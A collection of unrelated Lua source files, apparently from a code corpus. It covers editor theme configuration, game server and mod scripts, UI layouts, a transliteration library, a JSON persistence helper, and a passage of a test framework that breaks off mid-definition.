local vim_config = require('github-theme.config.vim_config') local default_config = require('github-theme.config.default') ---@class gt.Config ---@field schema gt.ConfigSchema local config = {} ---Accessing global config using vim.g.github_* will help in autocompletion. config.schema = { colors = vim_config.get(vim.g.github_colors, default_config.colors), comment_style = vim_config.get(vim.g.github_comment_style, default_config.comment_style), dark_float = vim_config.get(vim.g.github_dark_float, default_config.dark_float), dark_sidebar = vim_config.get(vim.g.github_dark_sidebar, default_config.dark_sidebar), dev = vim_config.get(vim.g.github_dev, default_config.dev), function_style = vim_config.get(vim.g.github_function_style, default_config.function_style), hide_end_of_buffer = vim_config.get(vim.g.github_hide_end_of_buffer, default_config.hide_end_of_buffer), hide_inactive_statusline = vim_config.get(vim.g.github_hide_inactive_statusline, default_config.hide_inactive_statusline), keyword_style = vim_config.get(vim.g.github_keyword_style, default_config.keyword_style), msg_area_style = vim_config.get(vim.g.github_msg_area_style, default_config.msg_area_style), overrides = vim_config.get(vim.g.github_overrides, default_config.overrides), sidebars = vim_config.get(vim.g.github_sidebars, default_config.sidebars), theme_style = vim_config.get(vim.g.github_theme_style, default_config.theme_style), transparent = vim_config.get(vim.g.github_transparent, default_config.transparent), variable_style = vim_config.get(vim.g.github_variable_style, default_config.variable_style), } ---Override user's configuration ---@param user_config gt.ConfigSchema config.apply_configuration = function(user_config) for key, value in pairs(user_config) do if value ~= nil then if config.schema[key] ~= nil then -- override value config.schema[key] = value vim_config.set(key, value) else error('config ' .. key .. ' does not exist') -- luacheck: ignore end end end end return config
help( [[ This module loads wget 1.15 into the environment. wget provides a command line http client. ]]) whatis("Loads the wget command line http client") local version = "1.15" local base = "/cvmfs/oasis.opensciencegrid.org/osg/modules/wget/"..version prepend_path("PATH", pathJoin(base, "bin")) family('wget')
----------------------------------- -- Area: Lower Jeuno -- NPC: Sniggnix -- Type: Standard NPC -- !pos -45.832 4.498 -135.029 245 -- -- Auto-Script: Requires Verification (Verfied by Brawndo) ----------------------------------- local ID = require("scripts/zones/Lower_Jeuno/IDs") require("scripts/globals/keyitems") ----------------------------------- function onTrade(player, npc, trade) thickAsThievesGamblingCS = player:getCharVar("thickAsThievesGamblingCS") if (trade:hasItemQty(1092, 1) and trade:getItemCount() == 1 and thickAsThievesGamblingCS == 7) then -- Trade Regal die rand1 = math.random(1, 700) player:startEvent(10026, 0, 1092, rand1) -- complete gambling side quest for as thick as thieves end end function onTrigger(player, npc) thickAsThievesGamblingCS = player:getCharVar("thickAsThievesGamblingCS") if (thickAsThievesGamblingCS == 1) then rand1 = math.random(1, 999) rand2 = math.random(1, 999) player:startEvent(10024, 0, 1092, rand1, rand2) elseif (thickAsThievesGamblingCS >= 2 and thickAsThievesGamblingCS <= 6) then player:startEvent(10025, 0, 1092, rand1, rand2) else player:startEvent(10023) end end function onEventUpdate(player, csid, option) end function onEventFinish(player, csid, option) if (csid == 10024 and option == 1) then -- player won first dice game player:setCharVar("thickAsThievesGamblingCS", 2) elseif (csid == 10026) then player:tradeComplete() player:setCharVar("thickAsThievesGamblingCS", 8) player:delKeyItem(tpz.ki.SECOND_FORGED_ENVELOPE) player:addKeyItem(tpz.ki.SECOND_SIGNED_FORGED_ENVELOPE) player:messageSpecial(ID.text.KEYITEM_OBTAINED, tpz.ki.SECOND_SIGNED_FORGED_ENVELOPE) end end
local ngx_upstream = require "ngx.upstream" local Upstream = require "durpina.upstream" Upstream.init("upstream", {resolver="8.8.8.8"}) local up = assert(Upstream.get("weighted_roundrobin"))
if not LibStub then error(MAJOR .. " requires LibStub.") end local MAJOR, MINOR = "LibTranslit-1.0", 3 local lib = LibStub:NewLibrary(MAJOR, MINOR) if not lib then return end local strlen = strlen or string.len local strbyte = strbyte or string.byte local strchar = strchar or string.char local CyrToLat = { ["А"] = "A", ["а"] = "a", ["Б"] = "B", ["б"] = "b", ["В"] = "V", ["в"] = "v", ["Г"] = "G", ["г"] = "g", ["Д"] = "D", ["д"] = "d", ["Е"] = "E", ["е"] = "e", ["Ё"] = "e", ["ё"] = "e", ["Ж"] = "Zh", ["ж"] = "zh", ["З"] = "Z", ["з"] = "z", ["И"] = "I", ["и"] = "i", ["Й"] = "Y", ["й"] = "y", ["К"] = "K", ["к"] = "k", ["Л"] = "L", ["л"] = "l", ["М"] = "M", ["м"] = "m", ["Н"] = "N", ["н"] = "n", ["О"] = "O", ["о"] = "o", ["П"] = "P", ["п"] = "p", ["Р"] = "R", ["р"] = "r", ["С"] = "S", ["с"] = "s", ["Т"] = "T", ["т"] = "t", ["У"] = "U", ["у"] = "u", ["Ф"] = "F", ["ф"] = "f", ["Х"] = "Kh", ["х"] = "kh", ["Ц"] = "Ts", ["ц"] = "ts", ["Ч"] = "Ch", ["ч"] = "ch", ["Ш"] = "Sh", ["ш"] = "sh", ["Щ"] = "Shch", ["щ"] = "shch", ["Ъ"] = "", ["ъ"] = "", ["Ы"] = "Y", ["ы"] = "y", ["Ь"] = "", ["ь"] = "", ["Э"] = "E", ["э"] = "e", ["Ю"] = "Yu", ["ю"] = "yu", ["Я"] = "Ya", ["я"] = "ya" } function lib:Transliterate(str, mark) if not str then return "" end mark = mark or "" local tstr, marked, i = "", false, 1 while i <= strlen(str) do local c = str:sub(i, i) local b = strbyte(c) if b == 208 or b == 209 then if marked == false then tstr = tstr .. mark marked = true end c = str:sub(i + 1, i + 1) tstr = tstr .. (CyrToLat[strchar(b, strbyte(c))] or strchar(b, strbyte(c))) i = i + 2 else if c == " " or c == "-" then marked = false end tstr = tstr .. c i = i + 1 end end return tstr end
local API_SE = require(script:GetCustomProperty("APIStatusEffects")) local API_D = require(script:GetCustomProperty("APIDamage")) local SHIELD_BASE = 50.0 local SHIELD_MULTIPLIER = 1.0 local currentShields = {} -- player -> table (index -> amount) function OnPlayerJoined(player) currentShields[player] = {} end function OnPlayerLeft(player) currentShields[player] = nil end function PostDamageHook(sourceCharacter, targetCharacter, amount, tags) local remainingAmount = amount if targetCharacter:IsA("Player") then for i, shieldAmount in pairs(currentShields[targetCharacter]) do if shieldAmount >= amount then currentShields[targetCharacter][i] = currentShields[targetCharacter][i] - amount return 0.0 else remainingAmount = remainingAmount - currentShields[targetCharacter][i] currentShields[targetCharacter][i] = 0.0 end end end return remainingAmount end function EffectStart(sourceCharacter, character, index) local magicStat = 0.0 if sourceCharacter then magicStat = sourceCharacter.serverUserData.statSheet:GetStatTotalValue("Magic") end currentShields[character][index] = SHIELD_BASE + SHIELD_MULTIPLIER * magicStat end function EffectEnd(sourceCharacter, character, index) currentShields[character][index] = nil end local data = {} data.name = "Warding Talisman" data.duration = 8.0 data.icon = script:GetCustomProperty("Icon") data.description = script:GetCustomProperty("Description") data.effectTemplate = script:GetCustomProperty("EffectTemplate") data.startFunction = EffectStart data.endFunction = EffectEnd API_SE.DefineStatusEffect(data) API_D.RegisterPostDamageHook(PostDamageHook) Game.playerJoinedEvent:Connect(OnPlayerJoined) Game.playerLeftEvent:Connect(OnPlayerLeft)
local Animal = require("classes.animal") local Cat = Animal:derive("Cat") function Cat:new(name, weight, type, favFood) self.name = name self.weight = weight self.type = type self.favFood = favFood end function Cat:soundOff() return "Meow" end return Cat
ESX = nil Citizen.CreateThread(function() while ESX == nil do TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) Citizen.Wait(0) end end) local gasMaskOn = false local damageTime = 0 RegisterNetEvent("esx_gasmask:useItem") AddEventHandler("esx_gasmask:useItem", function() local animdict = 'mp_masks@on_foot' local animname = 'put_on_mask' local playerped = PlayerPedId() ESX.Streaming.RequestAnimDict(animdict, function() TaskPlayAnim(playerped, animdict, animname, 8.0, -8.0, -1, 0, 0, false, false, false) end) Wait(260) if not gasMaskOn then TriggerEvent("skinchanger:getSkin", function(skin) skin.mask_1 = Config.GasMaskNumber skin.mask_2 = 0 TriggerEvent("skinchanger:loadSkin", skin) end) gasMaskOn = true SetEntityProofs(playerped, false, false, false, false, false, false, true, true, false) else TriggerEvent("skinchanger:getSkin", function(skin) skin.mask_1 = 0 skin.mask_2 = 0 TriggerEvent("skinchanger:loadSkin", skin) end) gasMaskOn = false SetEntityProofs(playerped, false, false, false, false, false, false, false, false, false) end end)
ENT.Type = "anim" ENT.PrintName = "Flare" ENT.Author = "Black Tea" ENT.Spawnable = true ENT.AdminOnly = true ENT.Category = "NutScript Throwable" ENT.RenderGroup = RENDERGROUP_BOTH ENT.configLifetime = 150 ENT.configColor = Color( 255, 50, 50 ) if (SERVER) then function ENT:SpawnFunction(client, trace, className) if (!trace.Hit or trace.HitSky) then return end local spawnPosition = trace.HitPos + trace.HitNormal * 16 local ent = ents.Create(className) ent:SetPos(spawnPosition) ent:Spawn() ent:Activate() return ent end function ENT:Initialize() self:SetModel("models/Items/grenadeAmmo.mdl") self:PhysicsInit(SOLID_VPHYSICS) self:SetMoveType(MOVETYPE_VPHYSICS) self.lifetime = CurTime() + self.configLifetime self:SetUseType(SIMPLE_USE) self.loopsound = CreateSound( self, "weapons/flaregun/burn.wav" ) self.loopsound:Play() local physicsObject = self:GetPhysicsObject() if (IsValid(physicsObject)) then physicsObject:Wake() end end function ENT:OnRemove() self.loopsound:Stop() end function ENT:Think() if self.lifetime < CurTime() then self:Remove() end if self:WaterLevel() > 0 then self:Remove() end return CurTime() end function ENT:Use(activator) end else function ENT:Initialize() self.lifetime = CurTime() + self.configLifetime self.emitter = ParticleEmitter( self:GetPos() ) self.emittime = CurTime() end function ENT:Think() local firepos = self:GetPos() + ( self:GetUp() * 5 ) local dlight = DynamicLight(self:EntIndex()) local perc = ( ( self.lifetime - CurTime() )/self.configLifetime ) dlight.Pos = firepos dlight.r = self.configColor.r dlight.g = self.configColor.g dlight.b = self.configColor.b dlight.Brightness = 7 dlight.Size = 512 * perc + math.sin( CurTime()*FrameTime()/2 )*10 dlight.Decay = 1024 dlight.DieTime = CurTime() + 0.1 end local GLOW_MATERIAL = Material("sprites/glow04_noz.vmt") function ENT:Draw() self:DrawModel() end function ENT:DrawTranslucent() local firepos = self:GetPos() + ( self:GetUp() * 5 ) local perc = ( ( self.lifetime - CurTime() )/self.configLifetime ) local size = 70 + math.sin( CurTime()*FrameTime()*5 ) * 50 render.SetMaterial(GLOW_MATERIAL) render.DrawSprite(firepos, size * perc, size * perc, self.configColor ) if self.emittime < CurTime() then local smoke = self.emitter:Add( "particle/smokesprites_000"..math.random(1,9), firepos ) smoke:SetVelocity( self:GetUp()*400*math.Rand( .5, 1 )*perc ) smoke:SetDieTime(math.Rand(1.3,3.3)*perc) smoke:SetStartAlpha(math.Rand(75,150)) smoke:SetEndAlpha(0) smoke:SetStartSize(math.random(0,5)) smoke:SetEndSize(math.random(66,220)*perc) smoke:SetRoll(math.Rand(180,480)) smoke:SetRollDelta(math.Rand(-3,3)) smoke:SetColor(50,50,50) smoke:SetGravity( Vector( 0, 0, 50 ) ) smoke:SetAirResistance(150) local smoke = self.emitter:Add( "particle/smokesprites_000"..math.random(1,9), firepos ) smoke:SetVelocity( self:GetUp()*250*math.Rand( .5, 1 )*perc ) smoke:SetDieTime(math.Rand(0.6,2.3)*perc) smoke:SetStartAlpha(math.Rand(150,200)) smoke:SetEndAlpha(0) smoke:SetStartSize(math.random(0,5)) smoke:SetEndSize(math.random(22,88)*perc) smoke:SetRoll(math.Rand(180,480)) smoke:SetRollDelta(math.Rand(-3,3)) smoke:SetColor(self.configColor.r,self.configColor.g,self.configColor.b) smoke:SetGravity( Vector( 0, 0, 50 ) ) smoke:SetAirResistance(150) for i = 1, math.random( 1, 10 ) do local smoke = self.emitter:Add( "effects/spark", firepos ) smoke:SetVelocity( ( self:GetUp()*math.Rand(.5,1) + self:GetForward()*math.Rand(-.2,.2) + self:GetRight()*math.Rand(-.2,.2) ) * 10 * perc) smoke:SetDieTime(math.Rand(0.05,0.01)) smoke:SetStartAlpha(math.Rand(150,200)) smoke:SetEndAlpha(0) smoke:SetStartSize(math.random(3,2)) smoke:SetEndSize(math.random(4,3)) smoke:SetStartLength(math.random(1,1)) smoke:SetEndLength(math.random(5,22)) smoke:SetColor(255,186,50) smoke:SetAirResistance(300) end self.emittime = CurTime() + .05 end end end function ENT:PhysicsCollide(data, phys) if data.Speed > 50 then self.Entity:EmitSound( Format( "physics/metal/metal_grenade_impact_hard%s.wav", math.random( 1, 3 ) ) ) end local impulse = -data.Speed * data.HitNormal * 0.1 + (data.OurOldVelocity * -0.6) phys:ApplyForceCenter(impulse) end
--- A task that deletes all specified files -- @module howl.modules.tasks.clean local mixin = require "howl.class.mixin" local fs = require "howl.platform".fs local Task = require "howl.tasks.Task" local Runner = require "howl.tasks.Runner" local Source = require "howl.files.Source" local CleanTask = Task:subclass("howl.modules.tasks.clean.CleanTask") :include(mixin.configurable) :include(mixin.filterable) :include(mixin.delegate("sources", {"from", "include", "exclude"})) function CleanTask:initialize(context, name, dependencies) Task.initialize(self, name, dependencies) self.root = context.root self.sources = Source() self:exclude { ".git", ".svn", ".gitignore" } self:description "Deletes all files matching a pattern" end function CleanTask:configure(item) self.sources:configure(item) end function CleanTask:setup(context, runner) Task.setup(self, context, runner) local root = self.sources if root.allowEmpty and #root.includes == 0 then -- Include the build directory if nothing is set root:from(context.out, { include = "*" }) end end function CleanTask:runAction(context) for _, file in ipairs(self.sources:gatherFiles(self.root, true)) do context.logger:verbose("Deleting " .. file.path) fs.delete(file.path) end end local CleanExtensions = {} function CleanExtensions:clean(name, taskDepends) return self:injectTask(CleanTask(self.env, name or "clean", taskDepends)) end local function apply() Runner:include(CleanExtensions) end return { name = "clean task", description = "A task that deletes all specified files.", apply = apply, CleanTask = CleanTask, }
-- DebugMode makes recipes simpler and is just for debugging purposes, default is false debugMode = false -- Due to golden Inserters beeing quite a resource hog you can disable em here if you dont need them enableGoldenInserter = true
local shortCutRecharge_pin_map = require("qnFiles/qnPlist/hall/shortCutRecharge_pin"); local chooseGoodsItem= { name="chooseGoodsItem",type=0,typeName="View",time=0,report=0,x=0,y=0,width=226,height=267,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter, { name="itemBg",type=2,typeName="Button",time=77873120,report=0,x=0,y=0,width=254,height=311,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,file=shortCutRecharge_pin_map['coin_bg.png'], { name="title",type=4,typeName="Text",time=65266378,report=0,x=0,y=22,width=87,height=35,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,fontSize=30,textAlign=kAlignCenter,colorRed=156,colorGreen=47,colorBlue=3 }, { name="image",type=1,typeName="Image",time=65266381,report=0,x=0,y=60,width=128,height=109,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,file="hall/common/goodIcon.png" }, { name="info",type=4,typeName="Text",time=65266387,report=0,x=0,y=70,width=0,height=0,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignBottom,fontSize=28,textAlign=kAlignCenter,colorRed=255,colorGreen=250,colorBlue=200 }, { name="money",type=4,typeName="Text",time=65266388,report=0,x=0,y=16,width=0,height=0,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignBottom,fontSize=34,textAlign=kAlignCenter,colorRed=255,colorGreen=222,colorBlue=104 }, { name="eventIcon",type=1,typeName="Image",time=76823507,report=0,x=0,y=0,width=62,height=62,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="hall/common/bg_blank.png" } } } return chooseGoodsItem;
--*********************************************************** --** ROBERT JOHNSON ** --*********************************************************** require "TimedActions/ISBaseTimedAction" ISBarricadeAction = ISBaseTimedAction:derive("ISBarricadeAction"); function ISBarricadeAction:isValid() if not instanceof(self.item, "BarricadeAble") or self.item:getObjectIndex() == -1 then return false end local barricade = self.item:getBarricadeForCharacter(self.character) if self.isMetal then if barricade then return false end if not self.character:hasEquipped("BlowTorch") or not self.character:hasEquipped("SheetMetal") then return false end elseif self.isMetalBar then if barricade then return false end if not self.character:hasEquipped("BlowTorch") or not self.character:hasEquipped("MetalBar") then return false end else if barricade and not barricade:canAddPlank() then return false end if not self.character:hasEquipped("Hammer") and not self.character:hasEquipped("HammerStone") then return false end if not self.character:hasEquipped("Plank") then return false end if not self.character:getInventory():contains("Nails", true) then return false end end if self.isStarted then if instanceof(self.item, "IsoDoor") or (instanceof(self.item, "IsoThumpable") and self.item:isDoor()) then if self.item:IsOpen() then return false end end end return true end function ISBarricadeAction:update() self.character:faceThisObject(self.item) end function ISBarricadeAction:start() if self.character:hasEquipped("BlowTorch") then self.sound = self.character:getEmitter():playSound("weldingSound") local radius = 20 * self.character:getWeldingSoundMod() addSound(self.character, self.character:getX(), self.character:getY(), self.character:getZ(), radius, radius) else self.sound = self.character:getEmitter():playSound("PZ_Hammer") local radius = 20 * self.character:getHammerSoundMod() addSound(self.character, self.character:getX(), self.character:getY(), self.character:getZ(), radius, radius) end if instanceof(self.item, "IsoDoor") or (instanceof(self.item, "IsoThumpable") and self.item:isDoor()) then if self.item:IsOpen() then self.item:ToggleDoor(self.character) end self.isStarted = true end end function ISBarricadeAction:stop() if self.sound then self.character:getEmitter():stopSound(self.sound) self.sound = nil end ISBaseTimedAction.stop(self); end function ISBarricadeAction:perform() if self.sound then self.character:getEmitter():stopSound(self.sound) self.sound = nil end local material = self.character:getSecondaryHandItem() if not instanceof(material, "InventoryItem") then return end if isClient() then local obj = self.item local index = obj:getObjectIndex() local args = { x=obj:getX(), y=obj:getY(), z=obj:getZ(), index=index, isMetal=self.isMetal, isMetalBar=self.isMetalBar, itemID=material:getID(), condition=material:getCondition() } sendClientCommand(self.character, 'object', 'barricade', args) else local barricade = IsoBarricade.AddBarricadeToObject(self.item, self.character) if barricade then if self.isMetal then barricade:addMetal(self.character, material) self.character:getXp():AddXPNoMultiplier(Perks.MetalWelding, 6) elseif self.isMetalBar then barricade:addMetalBar(self.character, material) self.character:getXp():AddXPNoMultiplier(Perks.MetalWelding, 6) else barricade:addPlank(self.character, material) self.character:getInventory():RemoveOneOf("Nails") self.character:getInventory():RemoveOneOf("Nails") self.character:getXp():AddXPNoMultiplier(Perks.Woodwork, 3) end self.character:getInventory():Remove(material) if self.isMetalBar then local bars = self.character:getInventory():getItemsFromFullType("Base.MetalBar", true); for i=0,1 do if bars:get(i) then local bar = bars:get(i); bar:getContainer():Remove(bar); end end end if self.isMetalBar or self.isMetal then self.character:getPrimaryHandItem():Use(); self.character:getPrimaryHandItem():Use(); self.character:getPrimaryHandItem():Use(); end if self.character:getSecondaryHandItem() == material then self.character:setSecondaryHandItem(nil) end end end -- needed to remove from queue / start next. ISBaseTimedAction.perform(self); end function ISBarricadeAction:new(character, item, isMetal, isMetalBar, time) local o = {} setmetatable(o, self) self.__index = self o.character = character; o.item = item; o.stopOnWalk = true; o.stopOnRun = true; o.maxTime = time; o.isMetal = isMetal; o.isMetalBar = isMetalBar; if character:HasTrait("Handy") then o.maxTime = time - 20; end if character:getAccessLevel() ~= "None" then o.maxTime = 1; end o.caloriesModifier = 8; return o; end
--------------------------------------------------------------------------------------------------- ---tuning_manager.lua ---author: Karl ---date: 2021.8.29 ---reference: src/imgui/ui/Console.lua ---desc: Defines a ui that manages the matrices and the lua code context of the matrices --------------------------------------------------------------------------------------------------- local Widget = require('imgui.Widget') ---@class im.TuningManager:im.Widget local M = LuaClass("im.TuningManager", Widget) --------------------------------------------------------------------------------------------------- local InitTuningMatrixSaves = require("BHElib.scenes.tuning_stage.imgui.init_tuning_matrix_saves") local InitTuningManagerSaves = require("BHElib.scenes.tuning_stage.imgui.init_tuning_manager_saves") local CodeSnapshotBuffer = require("BHElib.scenes.tuning_stage.imgui.code_snapshot_buffer") local FS = require("file_system.file_system") --------------------------------------------------------------------------------------------------- local im = imgui local Remove = table.remove --------------------------------------------------------------------------------------------------- ---init local _backup_dir = "data/BHElib/scenes/tuning_stage/backups/" ---@param tuning_ui TuningUI function M:ctor(tuning_ui, ...) self.tuning_ui = tuning_ui self.num_locals = 0 self.local_names = {} self.local_values = {} self.boss_fire_flag = true self.file_name_suffix = "" self.backup_dir = _backup_dir self.name_width = 150 self.value_width = 240 -- context control self.context_control = CodeSnapshotBuffer(tuning_ui, "Context Control", self:getSyncFilePath()) self.context_control:changeSync(true) if not FS.isFileExist(_backup_dir) then FS.createDirectory(_backup_dir) end Widget.ctor(self, ...) self:addChild(function() self:_render() end) end --------------------------------------------------------------------------------------------------- ---interfaces function M:getSyncFilePath() return "data/BHElib/scenes/tuning_stage/code/context_control.lua" end function M:appendLocal() local i = self.num_locals + 1 self.num_locals = i self.local_names[i] = "var" self.local_values[i] = "0" end ---@param index number the index of the local variable to remove function M:removeLocal(index) local n = self.num_locals assert(1 <= index and index <= n, "Error: Index out of range!") Remove(self.local_names, index) Remove(self.local_values, index) self.num_locals = n - 1 end --------------------------------------------------------------------------------------------------- ---imgui render function M:renderButtons() self:renderAddMatrixButtons() end function M:renderAddMatrixButtons() for key_str, matrix_save in pairs(InitTuningMatrixSaves) do local ret = im.button("+matrix"..key_str) if ret then self.tuning_ui:appendMatrixWindow(matrix_save, matrix_save.matrix_title) end end end ---@param dir_path string the path where backups are located function M:renderLoadBackupMenu(dir_path) local file_info = FS.getBriefOfFilesInDirectory(dir_path) local dirs = {} local file_names = {} for _, item in ipairs(file_info) do if item.isDirectory then dirs[#dirs + 1] = item else file_names[#file_names + 1] = item.name end end for i = 1, #dirs do local dir = dirs[i] if im.beginMenu(dir.name.."##directory") then self:renderLoadBackupMenu(dir_path..dir.name.."/") im.endMenu() end end for i = 1, #file_names do local file_name = file_names[i] if im.beginMenu(file_name) then if im.menuItem("Replace") then self.tuning_ui:loadBackup(dir_path..file_name, 0) end if im.menuItem("Append Matrices") then self.tuning_ui:loadBackup(dir_path..file_name, 1) end if im.menuItem("Load Manager Save") then self.tuning_ui:loadBackup(dir_path..file_name, 2) end if im.beginMenu("Delete") then if im.menuItem("Confirm") then os.remove(dir_path..file_name) end im.endMenu() end im.endMenu() end end if dir_path == _backup_dir and #file_names > 0 and im.menuItem("move backups to storage") then for i = 1, #file_names do local storage_path = dir_path.."storage/" if not FS.isFileExist(storage_path) then FS.createDirectory(storage_path) end local file_name = file_names[i] os.rename(dir_path..file_name, storage_path..file_name) end elseif dir_path == _backup_dir.."auto/" and im.beginMenu("Delete Automatic Backups") then if im.menuItem("Confirm") then for i = 1, #file_names do local file_name = file_names[i] os.remove(dir_path..file_name) end end im.endMenu() end end function M:_render() im.setWindowFontScale(1.1) if im.beginMenuBar() then if im.beginMenu("End Stage") then if im.menuItem("Confirm") then local Callbacks = require("BHElib.scenes.stage.stage_transition_callbacks") self.tuning_ui:callStageTransition(Callbacks.createMenuAndSaveReplay) end im.endMenu() end if im.beginMenu("Load Backup") then self:renderLoadBackupMenu(_backup_dir) im.endMenu() end if im.beginMenu("Save Backup") then if im.menuItem("Confirm") then local file_name = os.date("%Y%m%d_%H%M%S_")..self.file_name_suffix..".bak" self.tuning_ui:saveBackup(_backup_dir..file_name) end im.endMenu() end im.endMenuBar() end im.separator() do local ret = im.button("+local") if ret then self:appendLocal() end im.sameLine() local changed, value = im.checkbox("boss fire", self.boss_fire_flag) if changed then self.boss_fire_flag = value end im.sameLine() local control = self.context_control control:renderSyncButtons() if not control:isSync() then control:renderEditButtons() end local str im.setNextItemWidth(self.value_width - 30) changed, str = im.inputText("File Name", self.file_name_suffix) if changed then self.file_name_suffix = str end end self:renderButtons() local local_names = self.local_names local local_values = self.local_values local num_locals = self.num_locals local to_del = nil for i = 1, num_locals do im.setNextItemWidth(self.name_width) local changed, str = im.inputText("##name"..tostring(i), local_names[i], im.ImGuiInputTextFlags.None) if changed then local_names[i] = str end im.sameLine() im.setNextItemWidth(self.value_width) changed, str = im.inputText("##value"..tostring(i), local_values[i], im.ImGuiInputTextFlags.None) if changed then local_values[i] = str end im.sameLine() local pressed = im.button("-##btn"..i) if pressed then to_del = i end end if to_del then self:removeLocal(to_del) end end return M
module("dataSaver", package.seeall) if not json then require "json" end function saveValue(key, value) --temp variable local app --default data storage local path = "|D|app.txt" --open file local file = io.open(path, "r") if file then -- read all contents of file into a string local contents = file:read( "*a" ) --Decode json app = json.decode(contents) io.close( file ) -- close the file after using it --if file was empty if(not app.data) then app.data = {} end --store value in table app.data[key] = value --Encode table to json contents = json.encode(app) --open file local file = io.open( path, "w" ) --store Json string in file file:write( contents ) --close file io.close( file ) else --if file doesn't exist --create default structure app = {data = {}} --store value app.data[key] = value --Encode in Json local contents = json.encode(app) --create file local file = io.open( path, "w" ) --save Json string in file file:write( contents ) --close file io.close( file ) end end function loadValue(key) --temp variable local app local path = "|D|app.txt" --open file local file = io.open( path, "r" ) if file then --read contents local contents = file:read( "*a" ) --Decode Json app = json.decode(contents) if(not app.data) then app.data = {}; end --close file io.close( file ) --return value return app.data[key] end --if doesn't exist return nil end function save( filename, dataTable ) local path = filename..".json" --Encode table into Json string local JsonString = json.encode( dataTable ) -- io.open opens a file at path. Creates one if doesn't exist local file = io.open( path, "w" ) if file then --write Json string into file file:write( JsonString ) -- close the file after using it io.close( file ) end end function load( filename ) local path = filename..".json" -- will hold contents of file local contents -- io.open opens a file at path. returns nil if no file found local file = io.open( path, "r" ) if file then -- read all contents of file into a string contents = file:read( "*a" ) -- close the file after using it io.close( file ) --return Decoded Json string return json.decode( contents ) else --or return nil if file didn't ex return nil end end
object_tangible_wearables_necklace_necklace_ace_pilot_empire_f = object_tangible_wearables_necklace_shared_necklace_ace_pilot_empire_f:new { } ObjectTemplates:addTemplate(object_tangible_wearables_necklace_necklace_ace_pilot_empire_f, "object/tangible/wearables/necklace/necklace_ace_pilot_empire_f.iff")
--[=[ Utility functions to provide/configure a permission. See [BasePermissionProvider] and [PermissionService]. @server @class PermissionProviderUtils ]=] local require = require(script.Parent.loader).load(script) local PermissionProviderConstants = require("PermissionProviderConstants") local PermissionProviderUtils = {} --[=[ Creates a group rank config @param config { groupId: number, minAdminRequiredRank: number, minCreatorRequiredRank: number } @return table ]=] function PermissionProviderUtils.createGroupRankConfig(config) assert(type(config.groupId) == "number", "Bad groupId") assert(type(config.minCreatorRequiredRank) == "number", "Bad minCreatorRequiredRank") assert(type(config.minAdminRequiredRank) == "number", "Bad minAdminRequiredRank") return { type = PermissionProviderConstants.GROUP_RANK_CONFIG_TYPE; groupId = config.groupId; minAdminRequiredRank = config.minAdminRequiredRank; minCreatorRequiredRank = config.minCreatorRequiredRank; remoteFunctionName = config.remoteFunctionName or PermissionProviderConstants.DEFAULT_REMOTE_FUNCTION_NAME; } end --[=[ Creates a single user config @param config { userId: number } @return table ]=] function PermissionProviderUtils.createSingleUserConfig(config) assert(type(config.userId) == "number", "Bad userId") return { type = PermissionProviderConstants.SINGLE_USER_CONFIG_TYPE; userId = config.userId; remoteFunctionName = config.remoteFunctionName or PermissionProviderConstants.DEFAULT_REMOTE_FUNCTION_NAME; } end --[=[ Creates an automatic configuration from the game. @return table ]=] function PermissionProviderUtils.createConfigFromGame() if game.CreatorType == Enum.CreatorType.Group then return PermissionProviderUtils.createGroupRankConfig({ groupId = game.CreatorId; minAdminRequiredRank = 250; minCreatorRequiredRank = 254; }) else return PermissionProviderUtils.createSingleUserConfig({ userId = game.CreatorId; }) end end return PermissionProviderUtils
function mono.menu:init() --if self.menuSearch or self.timer then return end self.timer = createTimer() self.timer.Interval = 1000 self.timer.OnTimer = function(timer) -- wait for normal mono script to create mono menu, check every 5 seconds if not miMonoTopMenuItem then return end self.timer.destroy() self.timer = nil self.menuSearch = createMenuItem(miMonoTopMenuItem) self.menuSearch.Caption = 'Search' self.menuSearch.Name = 'miMonoSearch' self.menuSearch.OnClick = function(sender) self:OnSearchClick() end miMonoTopMenuItem.add(self.menuSearch) end end function mono.menu:OnSearchClick() if mono.selectedImage then mono.formSearch:show() formMonoSearch:centerScreen() else mono.formSelectImage:show() end end mono.menu:init()
SILE = require("core/sile") SILE.documentState = { documentClass = { state = { } } } SILE.typesetter:init(SILE.newFrame({id="foo"})) local hlist = require("tests/testdata") print(SILE.linebreak:doBreak(hlist, 30.0))
local table, string = table, string local cubictest, reporter, events = cubictest, cubictest.reporter, cubictest.events local Start, End, Step, Error, Run = events.Start, events.End, events.Step, events.Error, events.Run local specifications = {} cubictest.specifications = specifications local testrunner = {} cubictest.testrunner = testrunner -- classes local Testable = { description=nil, func= function() error("no test defined") end, __tostring = function (self) return self.description end, new = function(self, object) object = object or {} object.children = {} if self.__new then self.__new(object) end return setmetatable(object, { __index = self, __tostring = self.__tostring, }) end, add = function(self, child) table.insert(self.children, child) child.parent = self end, run = function(self, run_state) local parent = self.parent -- make sure we don't have stale events from the last run -- and start the event log self.run_state = run_state -- run its test phases run_state:add(Start()) if self._set_up then self:_set_up() end if parent and parent.fixture_before_each then parent.fixture_before_each() end if self.fixture_setup then self.fixture_setup() end -- run, but only if fixtures haven't already failed if run_state.success then self:_run(run_state) end if self.fixture_teardown then self.fixture_teardown() end if parent and parent.fixture_after_each then parent.fixture_after_each() end if self._tear_down then self:_tear_down() end run_state:add(End()) return run_state end, try = function(self, func, ...) local succeed, err_or_result = pcall(func, ...) if not succeed then self.run_state:add(Error(err_or_result)) end return err_or_result end } cubictest.Testable = setmetatable(Testable, { __tostring = Testable.__tostring, __call = function(self, object) return self:new(object) end, }) cubictest.TestCase = Testable { type = "TestCase", step = function(self, conjunction, description) local step = Step(conjunction, description) self.run_state:add(step) self.ctx_step = step return step end, _run = function(self, run_state) return self:try(self.func) end, } cubictest.Specification = Testable { type = "Specification", _set_up = function(self) if not self.is_set_up then self:try(self.func) self.is_set_up = true end end, _run = function(self, run_state) for _, testcase in pairs(self.children) do testrunner.ctx_case = testcase local result_state = testcase:run(Run(testcase, run_state)) run_state:add(result_state) end testrunner.ctx_case = nil end, register_testcase = function(self, description, 